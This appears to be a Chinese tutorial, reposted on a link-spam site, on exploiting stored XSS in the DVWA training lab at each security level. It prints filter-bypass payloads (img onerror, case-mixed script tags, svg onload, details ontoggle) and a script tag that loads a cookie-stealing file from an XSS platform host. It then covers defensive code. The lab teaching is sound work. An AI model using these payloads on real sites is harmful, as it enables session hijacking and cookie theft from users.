当前位置: 首页 > wzjs >正文

化妆品的网站建设一站式网站设计

化妆品的网站建设,一站式网站设计,个人网站模板html下载,如何使用dw制作网页目录 一、Low级别 1.1 环境与代码分析 1.2 实战攻击演示 二、Medium级别绕过 2.1 防护机制分析 2.2 绕过技术详解 三、高安全级绕过 3.1 严格过滤机制 3.2绕过方案 四、防御体系构建指南 4.1 安全防护对比表 4.2 impossible代码 4.3各安全级别对比表 一、Low级别 …

目录

一、Low级别

1.1 环境与代码分析

1.2 实战攻击演示

二、Medium级别绕过

2.1 防护机制分析

2.2 绕过技术详解

三、高安全级绕过

3.1 严格过滤机制

3.2绕过方案

四、防御体系构建指南

4.1 安全防护对比表

4.2 impossible代码

4.3各安全级别对比表


一、Low级别

1.1 环境与代码分析

安全设置:DVWA Security → Low 漏洞文件vulnerabilities/xss_stored/source/low.php

// 关键漏洞代码:
$message = stripslashes($_POST['mtxMessage']);
$name = stripslashes($_POST['txtName']);
// 直接存入数据库
$query = "INSERT INTO guestbook VALUES ('$message','$name')";
stripslashes() 作用去除字符串中的反斜线转义字符
将 \' 转换为 '
将 \" 转换为 "
将 \\ 转换为 \
将 \0 转换为 NULL 字符

PHP stripslashes() 函数详解-CSDN博客

1.2 实战攻击演示

基础验证Payload

<script>alert(document.cookie)</script>

插入payload代码,刷新页面触发xss

高级利用(插入js)

<script src="http://192.168.21.4/BlueLotus/myjs/cookie.js"></script>

xss平台收到cookie

二、Medium级别绕过

2.1 防护机制分析

安全设置:DVWA Security → Medium 过滤代码medium.php

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

trim() 作用

去除字符串首尾空白字符

strip_tags()作用

移除 <div> 标签及其属性
移除 <p> 标签
保留标签间文本内容
移除 <!-- 注释 -->
移除 <b> 标签但保留其内容

htmlspecialchars()作用:

& → &amp;
" → &quot; (当使用 ENT_QUOTES 时)
' → &#039; (当使用 ENT_QUOTES 时)
< → &lt;
> → &gt;

str_replace()作用

过滤name字段中<script>

PHP strip_tags() 函数详解-CSDN博客

PHP addslashes() 函数详解-CSDN博客

2.2 绕过技术详解

技术1:事件处理器绕过

name参数未转义,可插入html代码,输入存在前端字符数限制,增大字符数10-->100,绕过前端限制

<img src=x onerror=alert(/111/)>

或者抓包后,进行修改

通过onerror事件触发xss

技术2:大小写混淆

<ScRiPt>prompt("1")</ScRiPt>

技术3:属性字符突破

<svg><script>alert&#40;1&#41;</script>

代码分析:HTML实体编码部分字符绕过检测

三、高安全级绕过

3.1 严格过滤机制

安全设置:DVWA Security → High 防护代码high.php

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );//过滤字符串中的 <script> 标签及其变体

addslashes()作用

转义特殊字符:
单引号(')→ 转义为 \'
双引号(")→ 转义为 \"
反斜线(\)→ 转义为 \\
NULL 字符(\0)→ 转义为 \0

主要用途:
准备要存入数据库的字符串数据
防止特殊字符破坏字符串结构
处理可能包含危险字符的用户输入

3.2绕过方案

方案1:SVG矢量攻击 --name字段插入

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"/>

图4:SVG命名空间下的XSS执行

方案2:HTML5新特性

<details open ontoggle=alert(1)>

四、防御体系构建指南

4.1 安全防护对比表

防护层低级别漏洞中级别改进高级别方案
输入过滤基础HTML编码严格上下文编码
输出编码部分实现多重编码
CSP策略推荐配置

4.2 impossible代码

<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );
​// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );
​// Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name );
​// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

用户输入:<script>alert(1)</script>
经过 htmlspecialchars() 转义后存入数据库:
&lt;script&gt;alert(1)&lt;/script&gt;
从数据库读取后直接输出到 HTML 时,浏览器会显示为文本而非执行脚本。

4.3各安全级别对比表

安全级别过滤函数可绕过方式危险程度
Lowstripslashes()任何标准XSS★★★★★
Mediumhtmlspecialchars()事件处理器/大小写★★★☆
Highhtmlspecialchars(ENT_QUOTES)SVG/高级HTML5★★☆
http://www.dtcms.com/wzjs/37198.html

相关文章:

  • 重庆做公司网站百度关键词优化快速排名软件
  • 基木鱼建站目前最火的推广平台
  • 想看外国的网站怎么做电脑培训网上免费课程
  • 宁德网站建设维护网站收录申请
  • 微网站二级页面怎么做seo必备软件
  • 保定建站服务高端定制网站建设
  • 好知网做网站百度seo自动优化
  • 平邑网站制作百度首页官网
  • 做网站去哪推广好seo专员是什么职业
  • 晋城网站制作公司整合网络营销是什么
  • 企业网站制作的书上海牛巨微seo关键词优化
  • 培训机构做网站宣传网推平台
  • 三网合一 做网站seo技术培训东莞
  • 手机屏网站开发汽车品牌推广策划方案
  • 行业网站建设的书简述seo的概念
  • 郑州服务项目网站建设公司免费域名注册平台有哪些
  • 曲阜做网站哪家好谷歌搜索引擎免费入口 香港
  • 网站服务器哪家好些排名优化方法
  • 做网站需要走哪些程序网站服务器信息查询
  • 摄影网站的需求分析专门开发小程序的公司
  • 网站首页图片分辨率广告软文
  • 互联网公司运营北京seo优化wyhseo
  • 广州专业网站建设哪家公司好百度一下百度搜索入口
  • 承德市网站开发营销网站有哪些
  • 淄博专业网站建设公司张雪峰谈广告学专业
  • 免费网站建设无广告公司网站建设哪个好
  • 网站建设公司位置域名注册哪个平台比较好
  • 新手建什么网站赚钱吗常州网站建设
  • 做网站用什么系统石家庄新闻网
  • wordpress手机网站怎么做建设网页